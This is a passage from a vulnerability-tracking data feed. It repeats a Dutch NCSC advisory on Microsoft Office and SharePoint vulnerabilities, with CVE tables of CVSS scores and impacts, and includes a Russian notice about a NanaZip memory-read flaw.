in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nUPDATE: \nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-18T01:00:45.483015Z"}, {"uuid": "3d309580-d850-48ed-9bae-19122b841aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54988", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nUPDATE: \nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-18T01:00:49.504203Z"}, {"uuid": "c108c708-7ec4-4705-b9c8-509e1f7faec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54616", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3412", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 Lz4Decode \u0444\u0430\u0439\u043b\u0430 NanaZip.Core/SevenZip/CPP/7zip/Archive/SquashfsHandler.cpp \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 SquashFS \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0431\u0430\u0437\u0435 7-Zip NanaZip \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\nBDU:2026-12653\nCVE-2026-54616\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/M2Team/NanaZip/security/advisories/GHSA-95x5-qvvm-hmfp", "creation_timestamp": "2026-08-26T17:00:03.944811Z"}, {"uuid": "2ab3b418-6247-49ce-95a8-e12ec2581e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nUPDATE: \nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| 